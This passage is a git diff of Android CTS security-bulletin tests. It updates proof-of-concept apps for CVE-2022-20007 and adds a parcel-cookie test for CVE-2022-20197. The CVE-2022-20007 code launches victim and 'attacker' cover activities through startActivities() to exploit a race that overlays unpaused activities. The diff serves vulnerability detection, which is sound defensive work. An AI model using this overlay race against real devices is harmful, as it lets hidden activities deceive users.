+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20007-Second",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
new file mode 100644
index 00000000000..7880b0f0669
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2022_20007_second"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2022-20007-Second"
+ android:process="android.security.cts.CVE_2022_20007"
+ android:supportsRtl="true">
+ <activity
+ android:name=".SecondPocActivity"
+ android:exported="true">
+ </activity>
+ </application>
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
new file mode 100644
index 00000000000..d327e30f622
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/layout/activity_main.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
new file mode 100644
index 00000000000..e112bcd4ab2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/integers.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
new file mode 100644
index 00000000000..c20d81ccfa0
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="resultKey2">result2</string>
+ <string name="sharedPreferences">SharedPreferences</string>
+ <string name="testAppPackage">android.security.cts.CVE_2022_20007</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
new file mode 100644
index 00000000000..867da1c4ce2
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/second-test-app/src/android/security/cts/CVE_2022_20007_second/SecondPocActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20007_second;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.Bundle;
+
+public class SecondPocActivity extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
+ }
+
+ @Override
+ protected void onPause() {
+ super.onPause();
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
+ }
+
+ void setSharedPreferenes(int result) {
+ try {
+ Context testAppContext = createPackageContext(getString(R.string.testAppPackage),
+ Context.CONTEXT_IGNORE_SECURITY);
+ SharedPreferences sh = testAppContext.getSharedPreferences(
+ getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey2), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
index 713c0ed6500..0633c692d2a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/Android.bp
@@ -32,6 +32,7 @@ android_test_helper_app {
static_libs: [
"androidx.test.core",
"androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
],
sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
index ea78d62cdb1..c5dd6b5e9ac 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/AndroidManifest.xml
@@ -17,13 +17,15 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.security.cts.CVE_2022_20007"
+ android:sharedUserId="android.security.cts.CVE_2022_20007_shared_uid"
android:versionCode="1"
android:versionName="1.0">
<application
android:label="CVE-2022-20007"
+ android:process="android.security.cts.CVE_2022_20007"
android:supportsRtl="true">
<activity
- android:name=".PocActivity"
+ android:name=".FirstPocActivity"
android:exported="true">
</activity>
<activity
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
index 26b15c29414..bdb37757898 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/integers.xml
@@ -17,6 +17,9 @@
<resources>
<integer name="assumptionFailure">-1</integer>
- <integer name="pass">0</integer>
<integer name="fail">1</integer>
+ <integer name="pass">0</integer>
+ <integer name="permitCount">2</integer>
+ <integer name="threeActivities">3</integer>
+ <integer name="twoActivities">2</integer>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
index 1368bc206a9..e9910b70037 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/res/values/strings.xml
@@ -17,14 +17,22 @@
<resources>
<string name="assumptionFailureMessage">
- Assumption failure occurred.
+ Assumption failure occurred. Bounds :
</string>
+ <string name="attackerActivity">PocAttackerActivity</string>
+ <string name="attackerPkg">android.security.cts.CVE_2022_20007_attacker</string>
+ <string name="boundsNotEqualMessage">Activity bounds are not equal</string>
+ <string name="dumpsysCmd">dumpsys activity %1$s</string>
<string name="failMessage">
Vulnerable to b/211481342!! Race Condition when startActivities() is invoked which can cause
- Not-Paused Background Activity
+ Not-Paused Background Activity. Bounds :
</string>
+ <string name="mBounds">mBounds</string>
<string name="messageKey">message</string>
- <string name="passMessage">Pass</string>
+ <string name="numActivities">numActivities</string>
<string name="resultKey">result</string>
+ <string name="resultKey2">result2</string>
+ <string name="secondActivity">SecondPocActivity</string>
+ <string name="secondPocAppPkg">android.security.cts.CVE_2022_20007_second</string>
<string name="sharedPreferences">SharedPreferences</string>
</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
index 925da1ce80b..d4828b868b5 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/DeviceTest.java
@@ -17,18 +17,22 @@
package android.security.cts.CVE_2022_20007;
import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static org.junit.Assert.assertNotEquals;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeNoException;
import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
-import android.content.ActivityNotFoundException;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.SharedPreferences.OnSharedPreferenceChangeListener;
+import android.util.Log;
import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -39,6 +43,13 @@ import java.util.concurrent.TimeUnit;
@RunWith(AndroidJUnit4.class)
public class DeviceTest {
private Context mContext = getApplicationContext();
+ private UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+ private boolean mIsVulnerable = true;
+ private boolean mIsVulnerable2 = true;
+ private String mFirstPocActivityBounds = "";
+ private String mSecondPocActivityBounds = "";
+ private String mPocAttackerActivityBounds = "";
+ private SharedPreferences mSharedPrefs = null;
String getStringRes(int key) {
return mContext != null ? mContext.getResources().getString(key) : null;
@@ -48,44 +59,115 @@ public class DeviceTest {
return mContext != null ? mContext.getResources().getInteger(key) : null;
}
- @Test
- public void testRaceCondition() throws Exception {
- final long timeoutSec = 20L;
- assumeNotNull(mContext);
+ String getBounds(String activityName) throws Exception {
+ String output =
+ mDevice.executeShellCommand(mContext.getString(R.string.dumpsysCmd, activityName));
+ output = output.substring(output.indexOf(getStringRes(R.string.mBounds)),
+ output.indexOf(")", output.indexOf(getStringRes(R.string.mBounds))) + 1);
+ return output;
+ }
+
+ void launchMainActivity(int numActivities) {
final Intent intent = new Intent(mContext, PocMainActivity.class);
- intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ intent.putExtra(getStringRes(R.string.numActivities), numActivities);
+ mContext.startActivity(intent);
+ }
+
+ void checkResult(String key) {
+ int result = mSharedPrefs.getInt(key, getIntegerRes(R.integer.assumptionFailure));
+ assumeTrue(
+ getStringRes(R.string.assumptionFailureMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ result != getIntegerRes(R.integer.assumptionFailure));
+ assertFalse(
+ getStringRes(R.string.failMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ mIsVulnerable && result == getIntegerRes(R.integer.fail));
+ }
+
+ @Test
+ public void testRaceCondition() {
+ final long timeoutSec = 30L;
try {
- mContext.startActivity(intent);
- } catch (ActivityNotFoundException e) {
- assumeNoException(e);
- }
- SharedPreferences sharedPrefs = mContext.getSharedPreferences(
- getStringRes(R.string.sharedPreferences), Context.MODE_APPEND);
- assumeNotNull(sharedPrefs);
- final Semaphore preferenceChanged = new Semaphore(0);
- OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
- @Override
- public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {
- if (key.equals(getStringRes(R.string.resultKey))) {
- if (sharedPreferences.getInt(key,
- getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
- R.integer.pass)) {
- preferenceChanged.release();
+ assumeNotNull(mContext);
+ launchMainActivity(getIntegerRes(R.integer.twoActivities));
+ mSharedPrefs = mContext.getSharedPreferences(getStringRes(R.string.sharedPreferences),
+ Context.MODE_APPEND);
+ assumeNotNull(mSharedPrefs);
+ final Semaphore preferenceChanged = new Semaphore(0);
+ final Semaphore preferenceChanged2 = new Semaphore(0);
+ OnSharedPreferenceChangeListener listener = new OnSharedPreferenceChangeListener() {
+ @Override
+ public void onSharedPreferenceChanged(SharedPreferences sharedPreferences,
+ String key) {
+ if (key.equals(getStringRes(R.string.resultKey))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged.release();
+ mIsVulnerable = false;
+ }
+ } else if (key.equals(getStringRes(R.string.resultKey2))) {
+ if (sharedPreferences.getInt(key,
+ getIntegerRes(R.integer.assumptionFailure)) == getIntegerRes(
+ R.integer.pass)) {
+ preferenceChanged2.release();
+ mIsVulnerable2 = false;
+ }
}
}
- }
- };
- sharedPrefs.registerOnSharedPreferenceChangeListener(listener);
- try {
+ };
+ mSharedPrefs.registerOnSharedPreferenceChangeListener(listener);
preferenceChanged.tryAcquire(timeoutSec, TimeUnit.SECONDS);
- } catch (InterruptedException e) {
+
+ // Check if attacker activity is able to overlay victim activity
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String attackerActivityName = getStringRes(R.string.attackerPkg) + "/."
+ + getStringRes(R.string.attackerActivity);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ boolean isValidConfiguration =
+ mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ // Device might have 2 task display areas. Detect vulnerability in this case.
+ mDevice.pressHome();
+ assumeTrue(mDevice.wait(Until.gone(By.pkg(mContext.getPackageName())), timeoutSec));
+ mIsVulnerable = true;
+ mIsVulnerable2 = true;
+ launchMainActivity(getIntegerRes(R.integer.threeActivities));
+ preferenceChanged.tryAcquire(getIntegerRes(R.integer.permitCount), timeoutSec,
+ TimeUnit.SECONDS);
+ preferenceChanged2.tryAcquire(timeoutSec, TimeUnit.SECONDS);
+
+ // check if attacker activity is able to overlay any of the victim activities
+ mFirstPocActivityBounds = getBounds(FirstPocActivity.class.getName());
+ String secondActivityName = getStringRes(R.string.secondPocAppPkg) + "/."
+ + getStringRes(R.string.secondActivity);
+ mSecondPocActivityBounds = getBounds(secondActivityName);
+ mPocAttackerActivityBounds = getBounds(attackerActivityName);
+ Log.e("DeviceTest", "mFirstPocActivityBounds=" + mFirstPocActivityBounds);
+ Log.e("DeviceTest", "mSecondPocActivityBounds=" + mSecondPocActivityBounds);
+ Log.e("DeviceTest", "mPocAttackerActivityBounds=" + mPocAttackerActivityBounds);
+ isValidConfiguration = mFirstPocActivityBounds.equals(mPocAttackerActivityBounds);
+ boolean isValidConfiguration2 =
+ mSecondPocActivityBounds.equals(mPocAttackerActivityBounds);
+ assumeTrue(
+ getStringRes(R.string.boundsNotEqualMessage) + mFirstPocActivityBounds + " "
+ + mSecondPocActivityBounds + " " + mPocAttackerActivityBounds,
+ isValidConfiguration || isValidConfiguration2);
+
+ if (isValidConfiguration) {
+ checkResult(getStringRes(R.string.resultKey));
+ } else {
+ checkResult(getStringRes(R.string.resultKey2));
+ }
+ }
+ } catch (Exception e) {
assumeNoException(e);
}
- int result = sharedPrefs.getInt(getStringRes(R.string.resultKey),
- getIntegerRes(R.integer.assumptionFailure));
- String message = sharedPrefs.getString(getStringRes(R.string.messageKey),
- getStringRes(R.string.assumptionFailureMessage));
- assumeTrue(message, result != getIntegerRes(R.integer.assumptionFailure));
- assertNotEquals(message, result, getIntegerRes(R.integer.fail));
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
index 038335e8711..c89986b9eaf 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/FirstPocActivity.java
@@ -21,29 +21,35 @@ import android.content.Context;
import android.content.SharedPreferences;
import android.os.Bundle;
-public class PocActivity extends Activity {
+public class FirstPocActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- setSharedPreferenes(getResources().getInteger(R.integer.fail),
- getString(R.string.failMessage));
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ setSharedPreferenes(getResources().getInteger(R.integer.fail));
}
@Override
protected void onPause() {
super.onPause();
- setSharedPreferenes(getResources().getInteger(R.integer.pass),
- getString(R.string.passMessage));
+ setSharedPreferenes(getResources().getInteger(R.integer.pass));
}
- void setSharedPreferenes(int result, String message) {
- SharedPreferences sh =
- getSharedPreferences(getString(R.string.sharedPreferences), Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey), result);
- edit.putString(getString(R.string.messageKey), message);
- edit.commit();
+ void setSharedPreferenes(int result) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey), result);
+ edit.commit();
+ } catch (Exception e) {
+ // ignore exception here
+ }
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
index 7a4e841f6fd..94de7f09a60 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20007/test-app/src/android/security/cts/CVE_2022_20007/PocMainActivity.java
@@ -17,7 +17,6 @@
package android.security.cts.CVE_2022_20007;
import android.app.Activity;
-import android.content.ActivityNotFoundException;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
@@ -30,30 +29,48 @@ public class PocMainActivity extends Activity {
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
- launchAttack();
- }
-
- public void launchAttack() {
- String testPkgName = getPackageName();
- final Intent coverIntent = new Intent();
- coverIntent.setComponent(new ComponentName("android.security.cts.CVE_2022_20007_attacker",
- "android.security.cts.CVE_2022_20007_attacker.PocActivity"));
- coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION |
- Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
- final Intent victimIntent = new Intent(PocMainActivity.this, PocActivity.class);
- victimIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION);
- Intent[] intents = {victimIntent, coverIntent};
try {
- startActivities(intents);
- } catch (ActivityNotFoundException e) {
- SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
- Context.MODE_PRIVATE);
- SharedPreferences.Editor edit = sh.edit();
- edit.putInt(getString(R.string.resultKey),
- getResources().getInteger(R.integer.assumptionFailure));
- edit.putString(getString(R.string.messageKey),
- getString(R.string.assumptionFailureMessage));
- edit.commit();
+ String testPkgName = getPackageName();
+ final Intent coverIntent = new Intent();
+ coverIntent.setComponent(new ComponentName(getString(R.string.attackerPkg),
+ getString(R.string.attackerPkg) + "." + getString(R.string.attackerActivity)));
+ coverIntent.setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NEW_TASK
+ | Intent.FLAG_ACTIVITY_MULTIPLE_TASK | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ final Intent victimIntent = new Intent(PocMainActivity.this, FirstPocActivity.class);
+ victimIntent
+ .setFlags(Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ int numActivities = getIntent().getIntExtra(getString(R.string.numActivities),
+ /* default */ getResources().getInteger(R.integer.twoActivities));
+ if (numActivities == getResources().getInteger(R.integer.twoActivities)) {
+ Intent[] intents = {victimIntent, coverIntent};
+ startActivities(intents);
+ } else {
+ final Intent secondVictimIntent = new Intent();
+ secondVictimIntent.setComponent(new ComponentName(
+ getString(R.string.secondPocAppPkg), getString(R.string.secondPocAppPkg)
+ + "." + getString(R.string.secondActivity)));
+ secondVictimIntent.setFlags(
+ Intent.FLAG_ACTIVITY_NO_ANIMATION | Intent.FLAG_ACTIVITY_NO_HISTORY);
+ startActivity(victimIntent);
+
+ // wait to prevent both the victim activities from getting launched on same display
+ Thread.sleep(5000);
+ Intent[] intents2 = {secondVictimIntent, coverIntent};
+ startActivities(intents2);
+ }
+ } catch (Exception e) {
+ try {
+ SharedPreferences sh = getSharedPreferences(getString(R.string.sharedPreferences),
+ Context.MODE_PRIVATE);
+ SharedPreferences.Editor edit = sh.edit();
+ edit.putInt(getString(R.string.resultKey),
+ getResources().getInteger(R.integer.assumptionFailure));
+ edit.putString(getString(R.string.messageKey),
+ getString(R.string.assumptionFailureMessage));
+ edit.commit();
+ } catch (Exception ex) {
+ // ignore exception here
+ }
}
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
new file mode 100644
index 00000000000..582076e2d23
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2022-20197",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.core",
+ ],
+ platform_apis: true,
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
new file mode 100644
index 00000000000..3ea2a62f7bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2022_20197">
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2022_20197" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
new file mode 100644
index 00000000000..c9a9407b3da
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="vulnerableMsg">Device is vulnerable to b/208279300!</string>
+ <string name="stringObj">CVE_2022_20197</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
new file mode 100644
index 00000000000..a7b56187d47
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2022-20197/src/android/security/cts/CVE_2022_20197/DeviceTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2022_20197;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assume.assumeNoException;
+
+import android.app.PendingIntent;
+import android.content.res.Resources;
+import android.os.Parcel;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+ @Test
+ public void testParcel() {
+ try {
+ Resources resources = getApplicationContext().getResources();
+ Parcel parcel = Parcel.obtain();
+ Object cookie = (Object) resources.getString(R.string.stringObj);
+ parcel.setClassCookie(PendingIntent.class, cookie);
+ parcel.recycle();
+ Object value = parcel.getClassCookie(PendingIntent.class);
+ assertNull(resources.getString(R.string.vulnerableMsg), value);
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2022-20223/res/values/strings.xml
